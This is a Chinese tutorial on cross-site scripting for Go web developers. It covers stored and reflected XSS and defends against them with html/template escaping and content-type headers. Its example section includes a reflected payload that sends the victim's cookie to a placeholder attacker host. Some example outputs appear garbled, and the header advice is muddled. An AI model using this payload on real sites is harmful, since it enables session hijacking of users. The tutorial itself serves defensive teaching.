一 跨站脚本攻击XSS
1.1 XSS简介
动态站点很容易受到跨站脚本攻击(Cross Site Scripting, 安全专家们通常将其缩写成 XSS)。它允许攻击者将恶意代码植入到提供给其它用户使用的页面中,XSS涉及到三方,即攻击者、客户端与Web应用。XSS的攻击目标是为了盗取存储在客户端的cookie或者其他网站用于识别客户端身份的敏感信息。
XSS通常可以分为两大类:
- 存储型XSS:主要出现在让用户输入数据,供其他浏览此页的用户进行查看的地方,包括留言、评论等。
- 反射型XSS:主要做法是将脚本代码加入URL地址的请求参数里,请求参数进入程序后在页面直接输出,用户点击类似的恶意链接就可能受到攻击。
XSS目前主要的手段和目的如下:
- 盗用cookie,获取敏感信息。
- 利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
- 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击者)用户的身份执行一些管理动作,或执行一些如:发微博、加好友、发私信等常规操作,前段时间新浪微博就遭遇过一次XSS。
- 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操 作,如进行不当的投票活动。
- 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果
1.2 XSS攻击示例
# 一个常见的get请求:
http://localhost:3000/?name=ruyue
hello ruyue
# 在URL中插入js代码:
http://localhost:3000?name=<script>alert('ruyue,xss')</script>
此时浏览器会出现弹窗
# 盗取cookie:
http://localhost:3000/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>
这样就可以把当前的cookie发送到指定的站点:www.xxx.com
。尤其现在流行短网址,用户是无法识别的。
1.3 XSS的预防
目前防御XSS主要有如下几种方式(推荐结合使用):
- 过滤特殊字符:即不相信任何用户的输入,对用户输入内容进行过滤。Go的html/template里面带有下面几个函数可以用于过滤
- func HTMLEscape(w io.Writer, b []byte) //把b进行转义之后写到w
- func HTMLEscapeString(s string) string //转义s之后返回结果字符串
- func HTMLEscaper(args ...interface) string //支持多个参数一起转义,返回结果字符串
- 使用HTTP头指定类型:
w.Header().Set("Content-Type","text/javascript")
,这样就可以让浏览器解析javascript代码,而不会是html输出。
示例:
fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //输出到服务器端
fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password")))
template.HTMLEscape(w, []byte(r.Form.Get("username"))) //输出到客户端
如果我们输入的username是<script>alert()</script>
,那么我们可以在浏览器上面看到输出如下所示:
Go的html/template包默认帮你过滤了html标签,但是有时候你只想要输出这个<script>alert()</script>
看起来正常的信息,该怎么处理?请使用text/template。请看下面的例子:
import "text/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")
输出
Hello, !
或者使用template.HTML类型
import "html/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", template.HTML("<script>alert('you have been pwned')</script>"))
输出
Hello, !
转换成template.HTML
后,变量的内容也不会被转义
转义的例子:
import "html/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")
转义之后的输出:
Hello, <script>alert('you have been pwned')</script>!